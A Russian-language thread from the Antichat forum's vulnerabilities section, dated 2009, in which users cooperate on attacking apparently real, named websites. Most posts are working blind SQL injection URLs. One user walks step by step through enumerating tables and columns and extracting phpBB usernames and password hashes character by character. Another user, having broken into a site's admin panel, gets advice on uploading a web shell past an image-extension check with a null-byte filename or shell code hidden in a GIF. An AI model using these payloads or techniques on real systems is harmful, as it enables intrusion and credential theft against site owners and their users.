ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4601  
Старый 11.01.2009, 17:09
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

Цитата:
Сообщение от Pashkela  
2 wildshaman:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((SELECT+p assword+from+mysql.user+WHERE+user='root'),1,1)))

А таблицы можешь так подбирать:

http://www.check6gaming.com/admin.php?name=67+AND+ascii(lower(substring(CONCAT _WS(0x3a,(select+name+from+admin+LIMIT+0,1),(selec t+name+from+admin+LIMIT+1,1),(select+name+from+adm in+LIMIT+2,1)),1,1)))=97
спс, но во втором случае пишед ошибку 404 нот фаунд (пробелы убрал), а в первом - SELECT command denied to user 'check6ga_root'@'localhost' for table 'user' =(
 
Ответить с цитированием

  #4602  
Старый 11.01.2009, 17:12
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
Провел на форуме:
192463

Репутация: 97
По умолчанию

Взломал сайт, получил доступ в админку, пытаюсь залить шелл-проверяется расширение файла (только jpg or gif)
file_priv отключён, доступа к mysql.user нет, только в админку.
Думается, что shell.php.jpg заливать смысла нет ))... Как быть?
Подскажите плз. Слышал, кто то говорил что как то проинклудить можно. В общем поделитесь соображениями и опытом.
 
Ответить с цитированием

  #4603  
Старый 11.01.2009, 17:22
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

2 wildshaman:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+admin+LIMIT+0,1),(select+id+ from+admin+LIMIT+1,1),(select+id+from+admin+LIMIT+ 2,1)),1,1)))=97
 
Ответить с цитированием

  #4604  
Старый 11.01.2009, 17:31
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

Цитата:
Сообщение от Imperou$  
Взломал сайт, получил доступ в админку, пытаюсь залить шелл-проверяется расширение файла (только jpg or gif)
file_priv отключён, доступа к mysql.user нет, только в админку.
Думается, что shell.php.jpg заливать смысла нет ))... Как быть?
Подскажите плз. Слышал, кто то говорил что как то проинклудить можно. В общем поделитесь соображениями и опытом.
Если проверяеться только расширения, но не сам факт что это картинка попробуй null байт, shell.php%00.jpg, если проверяеться сам факт что это картинка, то запихни в маленку картинку, например в .gif код шелла, и посмотри что бы валидно открывалась картинка и попробуй то же самое, а вообше че за админка? Паблик движок или самопис?
 
Ответить с цитированием

  #4605  
Старый 11.01.2009, 17:38
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от Pashkela  
2 wildshaman:
http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+admin+LIMIT+0,1),(select+id+ from+admin+LIMIT+1,1),(select+id+from+admin+LIMIT+ 2,1)),1,1)))=97
Это ты показал какие ибические конструкции можно делать , или как? Помоему к сайту это не имеет никакого отношения, и он достаточно ясно об этом сообщает

2 wildshaman
Смотри запрос который дал R1dex на предыдущей странице
 
Ответить с цитированием

  #4606  
Старый 11.01.2009, 18:13
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Это ты показал какие ибические конструкции можно делать , или как? Помоему к сайту это не имеет никакого отношения, и он достаточно ясно об этом сообщает
гы, я не спорю, похоже на бред, конечно, но есть разница таки между:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+fp_accomplishments+LIMIT+0,1 ),(select+id+from+fp_accomplishments+LIMIT+1,1),(s elect+id+from+fp_accomplishments+LIMIT+2,1)),1,1)) )=49

и

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+admin+LIMIT+0,1),(select+id+ from+admin+LIMIT+1,1),(select+id+from+admin+LIMIT+ 2,1)),1,1)))=49

насколько я понимаю, так можно брутить сразу по ЦЕЛОМУ названию таблицы, а не посимвольно, т.к. ошибки совершенно разные и однозначно различаемые. Ну ,конечно, данный способ не для 5-ой ветки) Но blind-sql-inj есть не только в пятой ветке

Последний раз редактировалось Pashkela; 11.01.2009 в 18:47..
 
Ответить с цитированием

  #4607  
Старый 11.01.2009, 18:55
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

Цитата:
Сообщение от Pashkela  
гы, я не спорю, похоже на бред, конечно, но есть разница таки между:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+fp_accomplishments+LIMIT+0,1 ),(select+id+from+fp_accomplishments+LIMIT+1,1),(s elect+id+from+fp_accomplishments+LIMIT+2,1)),1,1)) )=49

и

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+admin+LIMIT+0,1),(select+id+ from+admin+LIMIT+1,1),(select+id+from+admin+LIMIT+ 2,1)),1,1)))=49

насколько я понимаю, так можно брутить сразу по ЦЕЛОМУ названию таблицы, а не посимвольно, т.к. ошибки совершенно разные и однозначно различаемые
да, в принципе ты прав, но, в concat_ws если у тебя первый запрос вернет error то остальные выполняться не будут, то есть, что я хочу сказать, там есть check6ga_forums.phpbb_users и

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring(CONCAT_WS (0x3a,(select+id+from+admin+LIMIT+0,1),(select+use r_password+from+phpbb_users+LIMIT+1,1),(select+use r_password+from+phpbb_users+LIMIT+1,1)),1,1)))=97

нам будет возврашено
Table 'check6ga_forums.admin' doesn't exist,
потому как первый запрос в concat_ws вернул error остальные запросы в concat_ws не выполнились, поэтому использования 3 запросов в concat_ws без смыслено.

Последний раз редактировалось AkyHa_MaTaTa; 11.01.2009 в 18:58..
 
Ответить с цитированием

  #4608  
Старый 11.01.2009, 19:15
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

не могу не согласиться, туплю чото сегодня по черному. +

проверка:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+i d+from+admin),1,1)))=49

найденная таблица (и уже случайно колонка):

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+i d+from+phpbb_users),1,1)))=49

брут колонок из phpbb_users :

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+u ser+from+phpbb_users),1,1)))=49

сбрутилась еще одна:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+u sername+from+phpbb_users),1,1)))=49

ну в общем стандартные колонки из форума phpbb, значит есть поле и user_password:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+u ser_password+from+phpbb_users),1,1)))=49

Далее понятно

но все таки напишу:

ищем ник 1 пользователя в базе:

проверяем на 1-ую буковку 'a':

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+u sername+from+phpbb_users+limit+0,1),1,1)))=97

угадали, отлично, проверяем вторую букву далее по алфавиту:

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+u sername+from+phpbb_users+limit+0,1),2,1)))=98

не подходит, и так дошлепали до 110, буква 'n':

http://www.check6gaming.com/news.php?id=67+AND+ascii(lower(substring((select+u sername+from+phpbb_users+limit+0,1),2,1)))=110

на всякий случай проверяем нашу догадку:

http://www.check6gaming.com/news.php?id=67+AND+substring((select+username+from +phpbb_users+limit+0,1),1,2)='an'

значит всё верно. И так бомбим до победного конца. Тоже самое с user_password

Последний раз редактировалось Pashkela; 11.01.2009 в 20:10..
 
Ответить с цитированием

  #4609  
Старый 11.01.2009, 21:06
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

2 wildshaman:
ещё слепые inj:
Код:
http://www.trunov.com/content.php?act=showcat&id=11+and+substring(@@version,1,1)=4
Код:
http://www.sisterstates.com/statetaxforms.php?id=11+and+substring(@@version,1,1)=4
версия мускула = 4

Последний раз редактировалось z00MAN; 11.01.2009 в 21:10..
 
Ответить с цитированием

  #4610  
Старый 11.01.2009, 21:17
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

Цитата:
Сообщение от z00MAN  
2 wildshaman:
ещё слепые inj:
Код:
http://www.trunov.com/content.php?act=showcat&id=11+and+substring(@@version,1,1)=4
Код:
http://www.sisterstates.com/statetaxforms.php?id=11+and+substring(@@version,1,1)=4
версия мускула = 4
спасиб, а то я новичок в этом деле, еще не все понятно)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ